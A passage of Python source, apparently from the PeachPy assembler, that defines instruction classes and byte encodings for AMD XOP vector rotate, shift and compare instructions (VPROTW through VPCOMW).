"""Packed Rotate Words"""
def __init__(self, *args, **kwargs):
"""Supported forms:
* VPROTW(xmm, xmm, xmm/m128) [XOP]
* VPROTW(xmm, xmm/m128, imm8) [XOP]
* VPROTW(xmm, xmm/m128, xmm) [XOP]
"""
origin = kwargs.get("origin")
prototype = kwargs.get("prototype")
if origin is None and prototype is None and peachpy.x86_64.options.get_debug_level() > 0:
origin = inspect.stack()
super(VPROTW, self).__init__("VPROTW", origin=origin, prototype=prototype)
self.operands = tuple(map(check_operand, args))
if len(self.operands) != 3:
raise SyntaxError("Instruction \"VPROTW\" requires 3 operands")
self.out_regs = (True, False, False)
self.out_operands = (True, False, False)
self.avx_mode = True
self.isa_extensions = frozenset([peachpy.x86_64.isa.xop])
if is_xmm(self.operands[0]) and is_xmm(self.operands[1]) and is_imm(self.operands[2]):
if not is_imm8(self.operands[2]):
raise ValueError("Argument #2 can not be encoded as imm8")
self.encodings.append((0x00, lambda op: bytearray([0x8F, 0xE8 ^ (op[0].hcode << 7) ^ (op[1].hcode << 5), 0x78, 0xC1, 0xC0 | op[0].lcode << 3 | op[1].lcode, op[2] & 0xFF])))
self.in_regs = (False, True, False)
elif is_xmm(self.operands[0]) and is_xmm(self.operands[1]) and is_xmm(self.operands[2]):
self.encodings.append((0x00, lambda op: bytearray([0x8F, 0xE9 ^ (op[0].hcode << 7) ^ (op[1].hcode << 5), 0x78 ^ (op[2].hlcode << 3), 0x91, 0xC0 | op[0].lcode << 3 | op[1].lcode])))
self.encodings.append((0x00, lambda op: bytearray([0x8F, 0xE9 ^ (op[0].hcode << 7) ^ (op[2].hcode << 5), 0xF8 ^ (op[1].hlcode << 3), 0x91, 0xC0 | op[0].lcode << 3 | op[2].lcode])))
self.in_regs = (False, True, True)
elif is_xmm(self.operands[0]) and is_xmm(self.operands[1]) and is_m128(self.operands[2]):
self.encodings.append((0x10, lambda op, sib=False, min_disp=0: vex3(0x8F, 0b1001, 0x80, op[0].hcode, op[2].address, op[1].hlcode) + bytearray([0x91]) + modrm_sib_disp(op[0].lcode, op[2].address, sib, min_disp)))
self.in_regs = (False, True, True)
elif is_xmm(self.operands[0]) and is_m128(self.operands[1]) and is_imm(self.operands[2]):
if not is_imm8(self.operands[2]):
raise ValueError("Argument #2 can not be encoded as imm8")
self.encodings.append((0x10, lambda op, sib=False, min_disp=0: vex3(0x8F, 0b1000, 0x00, op[0].hcode, op[1].address) + bytearray([0xC1]) + modrm_sib_disp(op[0].lcode, op[1].address, sib, min_disp) + bytearray([op[2] & 0xFF])))
self.in_regs = (False, True, False)
elif is_xmm(self.operands[0]) and is_m128(self.operands[1]) and is_xmm(self.operands[2]):
self.encodings.append((0x10, lambda op, sib=False, min_disp=0: vex3(0x8F, 0b1001, 0x00, op[0].hcode, op[1].address, op[2].hlcode) + bytearray([0x91]) + modrm_sib_disp(op[0].lcode, op[1].address, sib, min_disp)))
self.in_regs = (False, True, True)
else:
raise SyntaxError("Invalid operand types: VPROTW " + ", ".join(map(format_operand_type, self.operands)))
if peachpy.stream.active_stream is not None:
peachpy.stream.active_stream.add_instruction(self)
class VPROTD(Instruction):
"""Packed Rotate Doublewords"""
def __init__(self, *args, **kwargs):
"""Supported forms:
* VPROTD(xmm, xmm, xmm/m128) [XOP]
* VPROTD(xmm, xmm/m128, imm8) [XOP]
* VPROTD(xmm, xmm/m128, xmm) [XOP]
"""
origin = kwargs.get("origin")
prototype = kwargs.get("prototype")
if origin is None and prototype is None and peachpy.x86_64.options.get_debug_level() > 0:
origin = inspect.stack()
super(VPROTD, self).__init__("VPROTD", origin=origin, prototype=prototype)
self.operands = tuple(map(check_operand, args))
if len(self.operands) != 3:
raise SyntaxError("Instruction \"VPROTD\" requires 3 operands")
self.out_regs = (True, False, False)
self.out_operands = (True, False, False)
self.avx_mode = True
self.isa_extensions = frozenset([peachpy.x86_64.isa.xop])
if is_xmm(self.operands[0]) and is_xmm(self.operands[1]) and is_imm(self.operands[2]):
if not is_imm8(self.operands[2]):
raise ValueError("Argument #2 can not be encoded as imm8")
self.encodings.append((0x00, lambda op: bytearray([0x8F, 0xE8 ^ (op[0].hcode << 7) ^ (op[1].hcode << 5), 0x78, 0xC2, 0xC0 | op[0].lcode << 3 | op[1].lcode, op[2] & 0xFF])))
self.in_regs = (False, True, False)
elif is_xmm(self.operands[0]) and is_xmm(self.operands[1]) and is_xmm(self.operands[2]):
self.encodings.append((0x00, lambda op: bytearray([0x8F, 0xE9 ^ (op[0].hcode << 7) ^ (op[1].hcode << 5), 0x78 ^ (op[2].hlcode << 3), 0x92, 0xC0 | op[0].lcode << 3 | op[1].lcode])))
self.encodings.append((0x00, lambda op: bytearray([0x8F, 0xE9 ^ (op[0].hcode << 7) ^ (op[2].hcode << 5), 0xF8 ^ (op[1].hlcode << 3), 0x92, 0xC0 | op[0].lcode << 3 | op[2].lcode])))
self.in_regs = (False, True, True)
elif is_xmm(self.operands[0]) and is_xmm(self.operands[1]) and is_m128(self.operands[2]):
self.encodings.append((0x10, lambda op, sib=False, min_disp=0: vex3(0x8F, 0b1001, 0x80, op[0].hcode, op[2].address, op[1].hlcode) + bytearray([0x92]) + modrm_sib_disp(op[0].lcode, op[2].address, sib, min_disp)))
self.in_regs = (False, True, True)
elif is_xmm(self.operands[0]) and is_m128(self.operands[1]) and is_imm(self.operands[2]):
if not is_imm8(self.operands[2]):
raise ValueError("Argument #2 can not be encoded as imm8")
self.encodings.append((0x10, lambda op, sib=False, min_disp=0: vex3(0x8F, 0b1000, 0x00, op[0].hcode, op[1].address) + bytearray([0xC2]) + modrm_sib_disp(op[0].lcode, op[1].address, sib, min_disp) + bytearray([op[2] & 0xFF])))
self.in_regs = (False, True, False)
elif is_xmm(self.operands[0]) and is_m128(self.operands[1]) and is_xmm(self.operands[2]):
self.encodings.append((0x10, lambda op, sib=False, min_disp=0: vex3(0x8F, 0b1001, 0x00, op[0].hcode, op[1].address, op[2].hlcode) + bytearray([0x92]) + modrm_sib_disp(op[0].lcode, op[1].address, sib, min_disp)))
self.in_regs = (False, True, True)
else:
raise SyntaxError("Invalid operand types: VPROTD " + ", ".join(map(format_operand_type, self.operands)))
if peachpy.stream.active_stream is not None:
peachpy.stream.active_stream.add_instruction(self)
class VPROTQ(Instruction):
"""Packed Rotate Quadwords"""
def __init__(self, *args, **kwargs):
"""Supported forms:
* VPROTQ(xmm, xmm, xmm/m128) [XOP]
* VPROTQ(xmm, xmm/m128, imm8) [XOP]
* VPROTQ(xmm, xmm/m128, xmm) [XOP]
"""
origin = kwargs.get("origin")
prototype = kwargs.get("prototype")
if origin is None and prototype is None and peachpy.x86_64.options.get_debug_level() > 0:
origin = inspect.stack()
super(VPROTQ, self).__init__("VPROTQ", origin=origin, prototype=prototype)
self.operands = tuple(map(check_operand, args))
if len(self.operands) != 3:
raise SyntaxError("Instruction \"VPROTQ\" requires 3 operands")
self.out_regs = (True, False, False)
self.out_operands = (True, False, False)
self.avx_mode = True
self.isa_extensions = frozenset([peachpy.x86_64.isa.xop])
if is_xmm(self.operands[0]) and is_xmm(self.operands[1]) and is_imm(self.operands[2]):
if not is_imm8(self.operands[2]):
raise ValueError("Argument #2 can not be encoded as imm8")
self.encodings.append((0x00, lambda op: bytearray([0x8F, 0xE8 ^ (op[0].hcode << 7) ^ (op[1].hcode << 5), 0x78, 0xC3, 0xC0 | op[0].lcode << 3 | op[1].lcode, op[2] & 0xFF])))
self.in_regs = (False, True, False)
elif is_xmm(self.operands[0]) and is_xmm(self.operands[1]) and is_xmm(self.operands[2]):
self.encodings.append((0x00, lambda op: bytearray([0x8F, 0xE9 ^ (op[0].hcode << 7) ^ (op[1].hcode << 5), 0x78 ^ (op[2].hlcode << 3), 0x93, 0xC0 | op[0].lcode << 3 | op[1].lcode])))
self.encodings.append((0x00, lambda op: bytearray([0x8F, 0xE9 ^ (op[0].hcode << 7) ^ (op[2].hcode << 5), 0xF8 ^ (op[1].hlcode << 3), 0x93, 0xC0 | op[0].lcode << 3 | op[2].lcode])))
self.in_regs = (False, True, True)
elif is_xmm(self.operands[0]) and is_xmm(self.operands[1]) and is_m128(self.operands[2]):
self.encodings.append((0x10, lambda op, sib=False, min_disp=0: vex3(0x8F, 0b1001, 0x80, op[0].hcode, op[2].address, op[1].hlcode) + bytearray([0x93]) + modrm_sib_disp(op[0].lcode, op[2].address, sib, min_disp)))
self.in_regs = (False, True, True)
elif is_xmm(self.operands[0]) and is_m128(self.operands[1]) and is_imm(self.operands[2]):
if not is_imm8(self.operands[2]):
raise ValueError("Argument #2 can not be encoded as imm8")
self.encodings.append((0x10, lambda op, sib=False, min_disp=0: vex3(0x8F, 0b1000, 0x00, op[0].hcode, op[1].address) + bytearray([0xC3]) + modrm_sib_disp(op[0].lcode, op[1].address, sib, min_disp) + bytearray([op[2] & 0xFF])))
self.in_regs = (False, True, False)
elif is_xmm(self.operands[0]) and is_m128(self.operands[1]) and is_xmm(self.operands[2]):
self.encodings.append((0x10, lambda op, sib=False, min_disp=0: vex3(0x8F, 0b1001, 0x00, op[0].hcode, op[1].address, op[2].hlcode) + bytearray([0x93]) + modrm_sib_disp(op[0].lcode, op[1].address, sib, min_disp)))
self.in_regs = (False, True, True)
else:
raise SyntaxError("Invalid operand types: VPROTQ " + ", ".join(map(format_operand_type, self.operands)))
if peachpy.stream.active_stream is not None:
peachpy.stream.active_stream.add_instruction(self)
class VPSHAB(Instruction):
"""Packed Shift Arithmetic Bytes"""
def __init__(self, *args, **kwargs):
"""Supported forms:
* VPSHAB(xmm, xmm, xmm/m128) [XOP]
* VPSHAB(xmm, xmm/m128, xmm) [XOP]
"""
origin = kwargs.get("origin")
prototype = kwargs.get("prototype")
if origin is None and prototype is None and peachpy.x86_64.options.get_debug_level() > 0:
origin = inspect.stack()
super(VPSHAB, self).__init__("VPSHAB", origin=origin, prototype=prototype)
self.operands = tuple(map(check_operand, args))
if len(self.operands) != 3:
raise SyntaxError("Instruction \"VPSHAB\" requires 3 operands")
self.in_regs = (False, True, True)
self.out_regs = (True, False, False)
self.out_operands = (True, False, False)
self.avx_mode = True
self.isa_extensions = frozenset([peachpy.x86_64.isa.xop])
if is_xmm(self.operands[0]) and is_xmm(self.operands[1]) and is_xmm(self.operands[2]):
self.encodings.append((0x00, lambda op: bytearray([0x8F, 0xE9 ^ (op[0].hcode << 7) ^ (op[1].hcode << 5), 0x78 ^ (op[2].hlcode << 3), 0x98, 0xC0 | op[0].lcode << 3 | op[1].lcode])))
self.encodings.append((0x00, lambda op: bytearray([0x8F, 0xE9 ^ (op[0].hcode << 7) ^ (op[2].hcode << 5), 0xF8 ^ (op[1].hlcode << 3), 0x98, 0xC0 | op[0].lcode << 3 | op[2].lcode])))
elif is_xmm(self.operands[0]) and is_xmm(self.operands[1]) and is_m128(self.operands[2]):
self.encodings.append((0x10, lambda op, sib=False, min_disp=0: vex3(0x8F, 0b1001, 0x80, op[0].hcode, op[2].address, op[1].hlcode) + bytearray([0x98]) + modrm_sib_disp(op[0].lcode, op[2].address, sib, min_disp)))
elif is_xmm(self.operands[0]) and is_m128(self.operands[1]) and is_xmm(self.operands[2]):
self.encodings.append((0x10, lambda op, sib=False, min_disp=0: vex3(0x8F, 0b1001, 0x00, op[0].hcode, op[1].address, op[2].hlcode) + bytearray([0x98]) + modrm_sib_disp(op[0].lcode, op[1].address, sib, min_disp)))
else:
raise SyntaxError("Invalid operand types: VPSHAB " + ", ".join(map(format_operand_type, self.operands)))
if peachpy.stream.active_stream is not None:
peachpy.stream.active_stream.add_instruction(self)
class VPSHAW(Instruction):
"""Packed Shift Arithmetic Words"""
def __init__(self, *args, **kwargs):
"""Supported forms:
* VPSHAW(xmm, xmm, xmm/m128) [XOP]
* VPSHAW(xmm, xmm/m128, xmm) [XOP]
"""
origin = kwargs.get("origin")
prototype = kwargs.get("prototype")
if origin is None and prototype is None and peachpy.x86_64.options.get_debug_level() > 0:
origin = inspect.stack()
super(VPSHAW, self).__init__("VPSHAW", origin=origin, prototype=prototype)
self.operands = tuple(map(check_operand, args))
if len(self.operands) != 3:
raise SyntaxError("Instruction \"VPSHAW\" requires 3 operands")
self.in_regs = (False, True, True)
self.out_regs = (True, False, False)
self.out_operands = (True, False, False)
self.avx_mode = True
self.isa_extensions = frozenset([peachpy.x86_64.isa.xop])
if is_xmm(self.operands[0]) and is_xmm(self.operands[1]) and is_xmm(self.operands[2]):
self.encodings.append((0x00, lambda op: bytearray([0x8F, 0xE9 ^ (op[0].hcode << 7) ^ (op[1].hcode << 5), 0x78 ^ (op[2].hlcode << 3), 0x99, 0xC0 | op[0].lcode << 3 | op[1].lcode])))
self.encodings.append((0x00, lambda op: bytearray([0x8F, 0xE9 ^ (op[0].hcode << 7) ^ (op[2].hcode << 5), 0xF8 ^ (op[1].hlcode << 3), 0x99, 0xC0 | op[0].lcode << 3 | op[2].lcode])))
elif is_xmm(self.operands[0]) and is_xmm(self.operands[1]) and is_m128(self.operands[2]):
self.encodings.append((0x10, lambda op, sib=False, min_disp=0: vex3(0x8F, 0b1001, 0x80, op[0].hcode, op[2].address, op[1].hlcode) + bytearray([0x99]) + modrm_sib_disp(op[0].lcode, op[2].address, sib, min_disp)))
elif is_xmm(self.operands[0]) and is_m128(self.operands[1]) and is_xmm(self.operands[2]):
self.encodings.append((0x10, lambda op, sib=False, min_disp=0: vex3(0x8F, 0b1001, 0x00, op[0].hcode, op[1].address, op[2].hlcode) + bytearray([0x99]) + modrm_sib_disp(op[0].lcode, op[1].address, sib, min_disp)))
else:
raise SyntaxError("Invalid operand types: VPSHAW " + ", ".join(map(format_operand_type, self.operands)))
if peachpy.stream.active_stream is not None:
peachpy.stream.active_stream.add_instruction(self)
class VPSHAD(Instruction):
"""Packed Shift Arithmetic Doublewords"""
def __init__(self, *args, **kwargs):
"""Supported forms:
* VPSHAD(xmm, xmm, xmm/m128) [XOP]
* VPSHAD(xmm, xmm/m128, xmm) [XOP]
"""
origin = kwargs.get("origin")
prototype = kwargs.get("prototype")
if origin is None and prototype is None and peachpy.x86_64.options.get_debug_level() > 0:
origin = inspect.stack()
super(VPSHAD, self).__init__("VPSHAD", origin=origin, prototype=prototype)
self.operands = tuple(map(check_operand, args))
if len(self.operands) != 3:
raise SyntaxError("Instruction \"VPSHAD\" requires 3 operands")
self.in_regs = (False, True, True)
self.out_regs = (True, False, False)
self.out_operands = (True, False, False)
self.avx_mode = True
self.isa_extensions = frozenset([peachpy.x86_64.isa.xop])
if is_xmm(self.operands[0]) and is_xmm(self.operands[1]) and is_xmm(self.operands[2]):
self.encodings.append((0x00, lambda op: bytearray([0x8F, 0xE9 ^ (op[0].hcode << 7) ^ (op[1].hcode << 5), 0x78 ^ (op[2].hlcode << 3), 0x9A, 0xC0 | op[0].lcode << 3 | op[1].lcode])))
self.encodings.append((0x00, lambda op: bytearray([0x8F, 0xE9 ^ (op[0].hcode << 7) ^ (op[2].hcode << 5), 0xF8 ^ (op[1].hlcode << 3), 0x9A, 0xC0 | op[0].lcode << 3 | op[2].lcode])))
elif is_xmm(self.operands[0]) and is_xmm(self.operands[1]) and is_m128(self.operands[2]):
self.encodings.append((0x10, lambda op, sib=False, min_disp=0: vex3(0x8F, 0b1001, 0x80, op[0].hcode, op[2].address, op[1].hlcode) + bytearray([0x9A]) + modrm_sib_disp(op[0].lcode, op[2].address, sib, min_disp)))
elif is_xmm(self.operands[0]) and is_m128(self.operands[1]) and is_xmm(self.operands[2]):
self.encodings.append((0x10, lambda op, sib=False, min_disp=0: vex3(0x8F, 0b1001, 0x00, op[0].hcode, op[1].address, op[2].hlcode) + bytearray([0x9A]) + modrm_sib_disp(op[0].lcode, op[1].address, sib, min_disp)))
else:
raise SyntaxError("Invalid operand types: VPSHAD " + ", ".join(map(format_operand_type, self.operands)))
if peachpy.stream.active_stream is not None:
peachpy.stream.active_stream.add_instruction(self)
class VPSHAQ(Instruction):
"""Packed Shift Arithmetic Quadwords"""
def __init__(self, *args, **kwargs):
"""Supported forms:
* VPSHAQ(xmm, xmm, xmm/m128) [XOP]
* VPSHAQ(xmm, xmm/m128, xmm) [XOP]
"""
origin = kwargs.get("origin")
prototype = kwargs.get("prototype")
if origin is None and prototype is None and peachpy.x86_64.options.get_debug_level() > 0:
origin = inspect.stack()
super(VPSHAQ, self).__init__("VPSHAQ", origin=origin, prototype=prototype)
self.operands = tuple(map(check_operand, args))
if len(self.operands) != 3:
raise SyntaxError("Instruction \"VPSHAQ\" requires 3 operands")
self.in_regs = (False, True, True)
self.out_regs = (True, False, False)
self.out_operands = (True, False, False)
self.avx_mode = True
self.isa_extensions = frozenset([peachpy.x86_64.isa.xop])
if is_xmm(self.operands[0]) and is_xmm(self.operands[1]) and is_xmm(self.operands[2]):
self.encodings.append((0x00, lambda op: bytearray([0x8F, 0xE9 ^ (op[0].hcode << 7) ^ (op[1].hcode << 5), 0x78 ^ (op[2].hlcode << 3), 0x9B, 0xC0 | op[0].lcode << 3 | op[1].lcode])))
self.encodings.append((0x00, lambda op: bytearray([0x8F, 0xE9 ^ (op[0].hcode << 7) ^ (op[2].hcode << 5), 0xF8 ^ (op[1].hlcode << 3), 0x9B, 0xC0 | op[0].lcode << 3 | op[2].lcode])))
elif is_xmm(self.operands[0]) and is_xmm(self.operands[1]) and is_m128(self.operands[2]):
self.encodings.append((0x10, lambda op, sib=False, min_disp=0: vex3(0x8F, 0b1001, 0x80, op[0].hcode, op[2].address, op[1].hlcode) + bytearray([0x9B]) + modrm_sib_disp(op[0].lcode, op[2].address, sib, min_disp)))
elif is_xmm(self.operands[0]) and is_m128(self.operands[1]) and is_xmm(self.operands[2]):
self.encodings.append((0x10, lambda op, sib=False, min_disp=0: vex3(0x8F, 0b1001, 0x00, op[0].hcode, op[1].address, op[2].hlcode) + bytearray([0x9B]) + modrm_sib_disp(op[0].lcode, op[1].address, sib, min_disp)))
else:
raise SyntaxError("Invalid operand types: VPSHAQ " + ", ".join(map(format_operand_type, self.operands)))
if peachpy.stream.active_stream is not None:
peachpy.stream.active_stream.add_instruction(self)
class VPSHLB(Instruction):
"""Packed Shift Logical Bytes"""
def __init__(self, *args, **kwargs):
"""Supported forms:
* VPSHLB(xmm, xmm, xmm/m128) [XOP]
* VPSHLB(xmm, xmm/m128, xmm) [XOP]
"""
origin = kwargs.get("origin")
prototype = kwargs.get("prototype")
if origin is None and prototype is None and peachpy.x86_64.options.get_debug_level() > 0:
origin = inspect.stack()
super(VPSHLB, self).__init__("VPSHLB", origin=origin, prototype=prototype)
self.operands = tuple(map(check_operand, args))
if len(self.operands) != 3:
raise SyntaxError("Instruction \"VPSHLB\" requires 3 operands")
self.in_regs = (False, True, True)
self.out_regs = (True, False, False)
self.out_operands = (True, False, False)
self.avx_mode = True
self.isa_extensions = frozenset([peachpy.x86_64.isa.xop])
if is_xmm(self.operands[0]) and is_xmm(self.operands[1]) and is_xmm(self.operands[2]):
self.encodings.append((0x00, lambda op: bytearray([0x8F, 0xE9 ^ (op[0].hcode << 7) ^ (op[1].hcode << 5), 0x78 ^ (op[2].hlcode << 3), 0x94, 0xC0 | op[0].lcode << 3 | op[1].lcode])))
self.encodings.append((0x00, lambda op: bytearray([0x8F, 0xE9 ^ (op[0].hcode << 7) ^ (op[2].hcode << 5), 0xF8 ^ (op[1].hlcode << 3), 0x94, 0xC0 | op[0].lcode << 3 | op[2].lcode])))
elif is_xmm(self.operands[0]) and is_xmm(self.operands[1]) and is_m128(self.operands[2]):
self.encodings.append((0x10, lambda op, sib=False, min_disp=0: vex3(0x8F, 0b1001, 0x80, op[0].hcode, op[2].address, op[1].hlcode) + bytearray([0x94]) + modrm_sib_disp(op[0].lcode, op[2].address, sib, min_disp)))
elif is_xmm(self.operands[0]) and is_m128(self.operands[1]) and is_xmm(self.operands[2]):
self.encodings.append((0x10, lambda op, sib=False, min_disp=0: vex3(0x8F, 0b1001, 0x00, op[0].hcode, op[1].address, op[2].hlcode) + bytearray([0x94]) + modrm_sib_disp(op[0].lcode, op[1].address, sib, min_disp)))
else:
raise SyntaxError("Invalid operand types: VPSHLB " + ", ".join(map(format_operand_type, self.operands)))
if peachpy.stream.active_stream is not None:
peachpy.stream.active_stream.add_instruction(self)
class VPSHLW(Instruction):
"""Packed Shift Logical Words"""
def __init__(self, *args, **kwargs):
"""Supported forms:
* VPSHLW(xmm, xmm, xmm/m128) [XOP]
* VPSHLW(xmm, xmm/m128, xmm) [XOP]
"""
origin = kwargs.get("origin")
prototype = kwargs.get("prototype")
if origin is None and prototype is None and peachpy.x86_64.options.get_debug_level() > 0:
origin = inspect.stack()
super(VPSHLW, self).__init__("VPSHLW", origin=origin, prototype=prototype)
self.operands = tuple(map(check_operand, args))
if len(self.operands) != 3:
raise SyntaxError("Instruction \"VPSHLW\" requires 3 operands")
self.in_regs = (False, True, True)
self.out_regs = (True, False, False)
self.out_operands = (True, False, False)
self.avx_mode = True
self.isa_extensions = frozenset([peachpy.x86_64.isa.xop])
if is_xmm(self.operands[0]) and is_xmm(self.operands[1]) and is_xmm(self.operands[2]):
self.encodings.append((0x00, lambda op: bytearray([0x8F, 0xE9 ^ (op[0].hcode << 7) ^ (op[1].hcode << 5), 0x78 ^ (op[2].hlcode << 3), 0x95, 0xC0 | op[0].lcode << 3 | op[1].lcode])))
self.encodings.append((0x00, lambda op: bytearray([0x8F, 0xE9 ^ (op[0].hcode << 7) ^ (op[2].hcode << 5), 0xF8 ^ (op[1].hlcode << 3), 0x95, 0xC0 | op[0].lcode << 3 | op[2].lcode])))
elif is_xmm(self.operands[0]) and is_xmm(self.operands[1]) and is_m128(self.operands[2]):
self.encodings.append((0x10, lambda op, sib=False, min_disp=0: vex3(0x8F, 0b1001, 0x80, op[0].hcode, op[2].address, op[1].hlcode) + bytearray([0x95]) + modrm_sib_disp(op[0].lcode, op[2].address, sib, min_disp)))
elif is_xmm(self.operands[0]) and is_m128(self.operands[1]) and is_xmm(self.operands[2]):
self.encodings.append((0x10, lambda op, sib=False, min_disp=0: vex3(0x8F, 0b1001, 0x00, op[0].hcode, op[1].address, op[2].hlcode) + bytearray([0x95]) + modrm_sib_disp(op[0].lcode, op[1].address, sib, min_disp)))
else:
raise SyntaxError("Invalid operand types: VPSHLW " + ", ".join(map(format_operand_type, self.operands)))
if peachpy.stream.active_stream is not None:
peachpy.stream.active_stream.add_instruction(self)
class VPSHLD(Instruction):
"""Packed Shift Logical Doublewords"""
def __init__(self, *args, **kwargs):
"""Supported forms:
* VPSHLD(xmm, xmm, xmm/m128) [XOP]
* VPSHLD(xmm, xmm/m128, xmm) [XOP]
"""
origin = kwargs.get("origin")
prototype = kwargs.get("prototype")
if origin is None and prototype is None and peachpy.x86_64.options.get_debug_level() > 0:
origin = inspect.stack()
super(VPSHLD, self).__init__("VPSHLD", origin=origin, prototype=prototype)
self.operands = tuple(map(check_operand, args))
if len(self.operands) != 3:
raise SyntaxError("Instruction \"VPSHLD\" requires 3 operands")
self.in_regs = (False, True, True)
self.out_regs = (True, False, False)
self.out_operands = (True, False, False)
self.avx_mode = True
self.isa_extensions = frozenset([peachpy.x86_64.isa.xop])
if is_xmm(self.operands[0]) and is_xmm(self.operands[1]) and is_xmm(self.operands[2]):
self.encodings.append((0x00, lambda op: bytearray([0x8F, 0xE9 ^ (op[0].hcode << 7) ^ (op[1].hcode << 5), 0x78 ^ (op[2].hlcode << 3), 0x96, 0xC0 | op[0].lcode << 3 | op[1].lcode])))
self.encodings.append((0x00, lambda op: bytearray([0x8F, 0xE9 ^ (op[0].hcode << 7) ^ (op[2].hcode << 5), 0xF8 ^ (op[1].hlcode << 3), 0x96, 0xC0 | op[0].lcode << 3 | op[2].lcode])))
elif is_xmm(self.operands[0]) and is_xmm(self.operands[1]) and is_m128(self.operands[2]):
self.encodings.append((0x10, lambda op, sib=False, min_disp=0: vex3(0x8F, 0b1001, 0x80, op[0].hcode, op[2].address, op[1].hlcode) + bytearray([0x96]) + modrm_sib_disp(op[0].lcode, op[2].address, sib, min_disp)))
elif is_xmm(self.operands[0]) and is_m128(self.operands[1]) and is_xmm(self.operands[2]):
self.encodings.append((0x10, lambda op, sib=False, min_disp=0: vex3(0x8F, 0b1001, 0x00, op[0].hcode, op[1].address, op[2].hlcode) + bytearray([0x96]) + modrm_sib_disp(op[0].lcode, op[1].address, sib, min_disp)))
else:
raise SyntaxError("Invalid operand types: VPSHLD " + ", ".join(map(format_operand_type, self.operands)))
if peachpy.stream.active_stream is not None:
peachpy.stream.active_stream.add_instruction(self)
class VPSHLQ(Instruction):
"""Packed Shift Logical Quadwords"""
def __init__(self, *args, **kwargs):
"""Supported forms:
* VPSHLQ(xmm, xmm, xmm/m128) [XOP]
* VPSHLQ(xmm, xmm/m128, xmm) [XOP]
"""
origin = kwargs.get("origin")
prototype = kwargs.get("prototype")
if origin is None and prototype is None and peachpy.x86_64.options.get_debug_level() > 0:
origin = inspect.stack()
super(VPSHLQ, self).__init__("VPSHLQ", origin=origin, prototype=prototype)
self.operands = tuple(map(check_operand, args))
if len(self.operands) != 3:
raise SyntaxError("Instruction \"VPSHLQ\" requires 3 operands")
self.in_regs = (False, True, True)
self.out_regs = (True, False, False)
self.out_operands = (True, False, False)
self.avx_mode = True
self.isa_extensions = frozenset([peachpy.x86_64.isa.xop])
if is_xmm(self.operands[0]) and is_xmm(self.operands[1]) and is_xmm(self.operands[2]):
self.encodings.append((0x00, lambda op: bytearray([0x8F, 0xE9 ^ (op[0].hcode << 7) ^ (op[1].hcode << 5), 0x78 ^ (op[2].hlcode << 3), 0x97, 0xC0 | op[0].lcode << 3 | op[1].lcode])))
self.encodings.append((0x00, lambda op: bytearray([0x8F, 0xE9 ^ (op[0].hcode << 7) ^ (op[2].hcode << 5), 0xF8 ^ (op[1].hlcode << 3), 0x97, 0xC0 | op[0].lcode << 3 | op[2].lcode])))
elif is_xmm(self.operands[0]) and is_xmm(self.operands[1]) and is_m128(self.operands[2]):
self.encodings.append((0x10, lambda op, sib=False, min_disp=0: vex3(0x8F, 0b1001, 0x80, op[0].hcode, op[2].address, op[1].hlcode) + bytearray([0x97]) + modrm_sib_disp(op[0].lcode, op[2].address, sib, min_disp)))
elif is_xmm(self.operands[0]) and is_m128(self.operands[1]) and is_xmm(self.operands[2]):
self.encodings.append((0x10, lambda op, sib=False, min_disp=0: vex3(0x8F, 0b1001, 0x00, op[0].hcode, op[1].address, op[2].hlcode) + bytearray([0x97]) + modrm_sib_disp(op[0].lcode, op[1].address, sib, min_disp)))
else:
raise SyntaxError("Invalid operand types: VPSHLQ " + ", ".join(map(format_operand_type, self.operands)))
if peachpy.stream.active_stream is not None:
peachpy.stream.active_stream.add_instruction(self)
class VPCOMB(Instruction):
"""Compare Packed Signed Byte Integers"""
def __init__(self, *args, **kwargs):
"""Supported forms:
* VPCOMB(xmm, xmm, xmm/m128, imm8) [XOP]
"""
origin = kwargs.get("origin")
prototype = kwargs.get("prototype")
if origin is None and prototype is None and peachpy.x86_64.options.get_debug_level() > 0:
origin = inspect.stack()
super(VPCOMB, self).__init__("VPCOMB", origin=origin, prototype=prototype)
self.operands = tuple(map(check_operand, args))
if len(self.operands) != 4:
raise SyntaxError("Instruction \"VPCOMB\" requires 4 operands")
self.in_regs = (False, True, True, False)
self.out_regs = (True, False, False, False)
self.out_operands = (True, False, False, False)
self.avx_mode = True
self.isa_extensions = frozenset([peachpy.x86_64.isa.xop])
if is_xmm(self.operands[0]) and is_xmm(self.operands[1]) and is_xmm(self.operands[2]) and is_imm(self.operands[3]):
if not is_imm8(self.operands[3]):
raise ValueError("Argument #3 can not be encoded as imm8")
self.encodings.append((0x00, lambda op: bytearray([0x8F, 0xE8 ^ (op[0].hcode << 7) ^ (op[2].hcode << 5), 0x78 ^ (op[1].hlcode << 3), 0xCC, 0xC0 | op[0].lcode << 3 | op[2].lcode, op[3] & 0xFF])))
self._cancelling_inputs = True
elif is_xmm(self.operands[0]) and is_xmm(self.operands[1]) and is_m128(self.operands[2]) and is_imm(self.operands[3]):
if not is_imm8(self.operands[3]):
raise ValueError("Argument #3 can not be encoded as imm8")
self.encodings.append((0x10, lambda op, sib=False, min_disp=0: vex3(0x8F, 0b1000, 0x00, op[0].hcode, op[2].address, op[1].hlcode) + bytearray([0xCC]) + modrm_sib_disp(op[0].lcode, op[2].address, sib, min_disp) + bytearray([op[3] & 0xFF])))
else:
raise SyntaxError("Invalid operand types: VPCOMB " + ", ".join(map(format_operand_type, self.operands)))
if peachpy.stream.active_stream is not None:
peachpy.stream.active_stream.add_instruction(self)
class VPCOMW(Instruction):
"""Compare Packed Signed Word Integers"""
def __init__(self, *args, **kwargs):
"""Supported forms:
* VPCOMW(xmm, xmm, xmm/m128, imm8) [XOP]
"""
origin = kwargs.get("origin")
prototype = kwargs.get("prototype")
if origin is None and prototype is None and peachpy.x86_64.options.get_debug_level() > 0:
origin = inspect.stack()
super(VPCOMW, self).__init__("VPCOMW", origin=origin, prototype=prototype)
self.operands = tuple(map(check_operand, args))
if len(self.operands) != 4:
raise SyntaxError("Instruction \"VPCOMW\" requires 4 operands")
self.in_regs = (False, True, True, False)
self.out_regs = (True, False, False, False)
self.out_operands = (True, False, False, False)
self.avx_mode = True
self.isa_extensions = frozenset([peachpy.x86_64.isa.xop])
if is_xmm(self.operands[0]) and is_xmm(self.operands[1]) and is_xmm(self.operands[2]) and is_imm(self.operands[3]):
if not is_imm8(self.operands[3]):
raise ValueError("Argument #3 can not be encoded as imm8")
self.encodings.append((0x00, lambda op: bytearray([0x8F, 0xE8 ^ (op[0].hcode << 7) ^ (op[2].hcode << 5), 0x78 ^ (op[1].hlcode << 3), 0xCD, 0xC0 | op[0].lcode << 3 | op[2].lcode, op[3] & 0xFF])))
self._cancelling_inputs = True
